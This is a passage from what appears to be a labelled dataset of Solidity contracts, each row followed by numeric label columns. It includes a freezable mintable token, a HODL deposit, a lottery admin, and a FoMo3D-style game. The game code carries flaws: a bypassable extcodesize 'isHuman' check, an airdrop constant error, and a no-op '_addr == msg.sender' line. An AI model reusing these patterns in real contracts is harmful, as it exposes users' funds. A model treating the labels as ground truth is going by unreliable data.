_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Meritum Cash";
string public constant TOKEN_SYMBOL = "MCH";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x84294229647e5e2191C42196053d9c6bE4BDA87c;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
address[1] memory addresses = [address(0x84294229647e5e2191c42196053d9c6be4bda87c)];
uint[1] memory amounts = [uint(12000000000000000000000)];
uint64[1] memory freezes = [uint64(0)];
for (uint i = 0; i < addresses.length; i++) {
if (freezes[i] == 0) {
mint(addresses[i], amounts[i]);
} else {
mintAndFreeze(addresses[i], amounts[i], freezes[i]);
}
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,709 |
pragma solidity ^0.4.19;
contract HODL {
uint256 public RELEASE_TIME = 1 years;
mapping(address => Deposit) deposits;
struct Deposit {
uint256 value;
uint256 releaseTime;
}
function () public payable {
require(msg.value > 0);
if (deposits[msg.sender].releaseTime == 0) {
uint256 releaseTime = now + RELEASE_TIME;
deposits[msg.sender] = Deposit(msg.value, releaseTime);
} else {
deposits[msg.sender].value += msg.value;
deposits[msg.sender].releaseTime += RELEASE_TIME;
}
}
function withdraw() public {
require(deposits[msg.sender].value > 0);
require(deposits[msg.sender].releaseTime < now);
msg.sender.transfer(deposits[msg.sender].value);
deposits[msg.sender].value = 0;
deposits[msg.sender].releaseTime = 0;
}
function getDeposit(address holder) public view returns
(uint256 value, uint256 releaseTime)
{
return(deposits[holder].value, deposits[holder].releaseTime);
}
} | 0 | 1,050 |
pragma solidity ^0.4.13;
contract EthereumLottery {
function admin() constant returns (address);
function needsInitialization() constant returns (bool);
function initLottery(uint _jackpot, uint _numTickets,
uint _ticketPrice, int _durationInBlocks) payable;
function needsFinalization() constant returns (bool);
function finalizeLottery(uint _steps);
}
contract LotteryAdmin {
address public owner;
address public admin;
address public proposedOwner;
address public ethereumLottery;
uint public dailyAdminAllowance;
uint public maximumJackpot;
int public minimumDurationInBlocks;
uint public lastAllowancePaymentTimestamp;
uint public nextProfile;
event Deposit(address indexed _from, uint _value);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyAdminOrOwner {
require(msg.sender == owner || msg.sender == admin);
_;
}
function LotteryAdmin(address _ethereumLottery) {
owner = msg.sender;
admin = msg.sender;
ethereumLottery = _ethereumLottery;
dailyAdminAllowance = 50 finney;
maximumJackpot = 100 ether;
minimumDurationInBlocks = 6;
}
function () payable {
Deposit(msg.sender, msg.value);
}
function allowsAllowance() constant returns (bool) {
return now - lastAllowancePaymentTimestamp >= 24 hours;
}
function requestAllowance() onlyAdminOrOwner {
require(allowsAllowance());
lastAllowancePaymentTimestamp = now;
admin.transfer(dailyAdminAllowance);
}
function needsAdministration() constant returns (bool) {
if (EthereumLottery(ethereumLottery).admin() != address(this)) {
return false;
}
return EthereumLottery(ethereumLottery).needsFinalization();
}
function administrate(uint _steps) onlyAdminOrOwner {
EthereumLottery(ethereumLottery).finalizeLottery(_steps);
}
function needsInitialization() constant returns (bool) {
if (EthereumLottery(ethereumLottery).admin() != address(this)) {
return false;
}
return EthereumLottery(ethereumLottery).needsInitialization();
}
function initLottery(uint _nextProfile,
uint _jackpot, uint _numTickets,
uint _ticketPrice, int _durationInBlocks)
onlyAdminOrOwner {
require(_jackpot <= maximumJackpot);
require(_durationInBlocks >= minimumDurationInBlocks);
nextProfile = _nextProfile;
EthereumLottery(ethereumLottery).initLottery.value(_jackpot)(
_jackpot, _numTickets, _ticketPrice, _durationInBlocks);
}
function withdraw(uint _value) onlyOwner {
owner.transfer(_value);
}
function setConfiguration(uint _dailyAdminAllowance,
uint _maximumJackpot,
int _minimumDurationInBlocks)
onlyOwner {
dailyAdminAllowance = _dailyAdminAllowance;
maximumJackpot = _maximumJackpot;
minimumDurationInBlocks = _minimumDurationInBlocks;
}
function setLottery(address _ethereumLottery) onlyOwner {
ethereumLottery = _ethereumLottery;
}
function setAdmin(address _admin) onlyOwner {
admin = _admin;
}
function proposeOwner(address _owner) onlyOwner {
proposedOwner = _owner;
}
function acceptOwnership() {
require(proposedOwner != 0);
require(msg.sender == proposedOwner);
owner = proposedOwner;
}
function destruct() onlyOwner {
selfdestruct(owner);
}
} | 0 | 590 |
pragma solidity ^0.4.24;
contract Owned {
address public owner;
address public newOwner;
constructor()
public
{
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract LOLevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is LOLevents {}
contract LOLlong is modularLong,Owned {
using SafeMath for *;
using NameFilter for string;
using LOLKeysCalcLong for uint256;
LOLOfficalBankInterface constant private lol_offical_bank = LOLOfficalBankInterface(0xF66E2D098D85b803D5ae710008fCc876c8656fFd);
LOLPlayerBookInterface constant private PlayerBook = LOLPlayerBookInterface(0xb9Db77600A611c1DfC923c2c8b513cB1Fc4Fe113);
string constant public name = "LOL Official";
string constant public symbol = "LOL";
uint256 private rndExtra_ = 1 hours;
uint256 private rndGap_ = 24 hours;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => LOLdatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => LOLdatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => LOLdatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => LOLdatasets.TeamFee) public fees_;
mapping (uint256 => LOLdatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = LOLdatasets.TeamFee(36,0);
fees_[1] = LOLdatasets.TeamFee(43,0);
fees_[2] = LOLdatasets.TeamFee(66,0);
fees_[3] = LOLdatasets.TeamFee(51,0);
potSplit_[0] = LOLdatasets.PotSplit(25,0);
potSplit_[1] = LOLdatasets.PotSplit(25,0);
potSplit_[2] = LOLdatasets.PotSplit(40,0);
potSplit_[3] = LOLdatasets.PotSplit(40,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LOLdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LOLdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LOLdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
LOLdatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LOLdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LOLdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
LOLdatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
LOLdatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LOLevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit LOLevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LOLevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LOLevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit LOLevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, LOLdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LOLevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, LOLdatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit LOLevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, LOLdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(LOLdatasets.EventReturns memory _eventData_)
private
returns (LOLdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, LOLdatasets.EventReturns memory _eventData_)
private
returns (LOLdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
